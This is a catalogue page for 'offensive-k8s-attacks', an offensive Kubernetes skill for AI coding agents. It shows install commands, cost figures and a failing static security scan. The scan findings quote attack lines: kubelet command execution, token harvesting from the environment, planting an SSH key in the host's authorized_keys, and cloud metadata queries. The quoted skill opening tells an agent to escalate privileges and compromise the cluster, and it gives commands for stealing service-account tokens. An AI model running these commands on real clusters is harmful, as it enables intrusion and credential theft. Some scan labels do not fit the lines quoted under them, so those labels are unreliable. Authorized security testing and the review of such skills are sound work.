offensive-k8s-attacks

offensive-k8s-attacks is a skill for Claude Code, Codex from SnailSploit/Claude-Red. It costs 232 tokens per session (7,382 once invoked), scanned F, original, MIT.

A checklist of Kubernetes attack techniques, covering movement from an initial foothold—such as a compromised pod or exposed API—to broader cluster or cloud compromise. It includes service-account tokens, permission misconfigurations, secrets, host access, and control-plane paths, for authorized security testing.

In plain words
What is it for?
Reviewing Kubernetes permissions, finding escalation paths, testing secret exposure, moving between namespaces, and assessing risks to the cluster or connected cloud infrastructure.
Why use it?
It gives testers a structured way to assess how Kubernetes weaknesses could allow privilege escalation or movement across a cluster.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

About the project

claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.

SnailSploit/Claude-Red · 3,026 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/snailsploit/claude-red/offensive-k8s-attacks
Any agent
npx skills add SnailSploit/Claude-Red --skill offensive-k8s-attacks
Clone the repo
git clone --depth 1 https://github.com/SnailSploit/Claude-Red

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-k8s-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-k8s-attacks.svg)](https://agentmods.dev/skills/snailsploit/claude-red/offensive-k8s-attacks)
Your own site
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-k8s-attacks"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-k8s-attacks.svg" alt="Measured on agentmods" height="20"></a>
Per session 232 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,382 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 6 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00232 $0.07382
Opus 5 $0.00116 $0.03691
Sonnet 5 $0.00046 $0.01476
Haiku 4.5 $0.00023 $0.00738

Measured 6d ago against content hash 04382cb9bfa1, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade F, and why

offensive-k8s-attacks scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

env | grep -i token

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -s http://NODE_IP:10255/pods | python3 -m json.tool

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl -s http://169.254.169.254/latest/meta-data/ # AWS

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# If not, use curl with the service account token
Skills/container/offensive-k8s-attacks/SKILL.md · 809 lines

How it starts

The opening of the file, as written. The whole thing — 809 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kubernetes Cluster Attacks

You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.

Quick Workflow

  1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
  2. Enumerate service account permissions, cluster roles, and accessible resources.
  3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
  4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
  5. Extract secrets, pivot to other namespaces, and target the control plane.
  6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.

Phase 1: Initial Enumeration

Determining Your Position

# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes

# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local

# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token

Setting Up API Access Without kubectl

# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

# Shorthand function for repeated use
k8s_api() {
  curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
    "${APISERVER}$1"
}

# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
  -X POST -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"

Read the full file on GitHub · 809 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 809 lines · 232 tokens per session scan F 04382cb9bfa1

Subscribe to this mod's changes

offensive-k8s-attacks is a skill published in the GitHub repository SnailSploit/Claude-Red (3,026 stars, last pushed 6d ago), licensed MIT. It adds 232 tokens to every session and 7,382 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it F with 6 findings (sends data to an external url, harvests environment variables, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

app-store-opportunity-research

Full-pipeline iOS App Store opportunity research. Discovers underserved niches, analyzes competitor gaps, estimates revenue, produces scored top-3 opportunity reports, and writes MVP PRDs — all through browser and web research. Use when the user wants to find profitable iOS app ideas, research App Store charts…

robertguss/claude-code-toolkit · 130 tokens

code-documenter

Expert documentation generator for coding projects. Analyzes codebases to create thorough, comprehensive documentation for developers and users. Supports incremental updates, multi-audience documentation, architecture decision records, and documentation health tracking. Works with any project type (APIs, CLIs, web…

robertguss/claude-code-toolkit · 87 tokens

ghost-writer

Produce first drafts that match a writer's authentic voice using their Voice DNA Document. Consumes DNA documents from writing-dna-discovery skill. Generates 2 meaningfully different drafts with headlines, confidence assessment, decision notes, and DNA refinement suggestions. Collaborative partner that evaluates…

robertguss/claude-code-toolkit · 77 tokens

app-store-listing-optimizer

Optimize iOS App Store and Google Play Store listings for maximum discoverability and conversion. Perform competitive keyword research, craft keyword-optimized titles/subtitles/descriptions, design screenshot sequences, and generate A/B test variants. Use when the user has a built app and needs to write or improve…

robertguss/claude-code-toolkit · 137 tokens

paywall-pricing-optimizer

Design effective paywalls, structure subscription tiers, and optimize pricing for mobile apps. Covers monetization model selection, paywall screen design, pricing psychology, A/B testing strategy, and RevenueCat/StoreKit/Google Billing integration. Use when the user wants to monetize an app, design a paywall, choose…

robertguss/claude-code-toolkit · 143 tokens

voice-capture

This skill should be used when extracting voice profiles from sample text, creating voice documentation, or matching a specific writing style. It applies when users provide sample text and want to capture the voice for future use.

robertguss/claude-code-toolkit · 45 tokens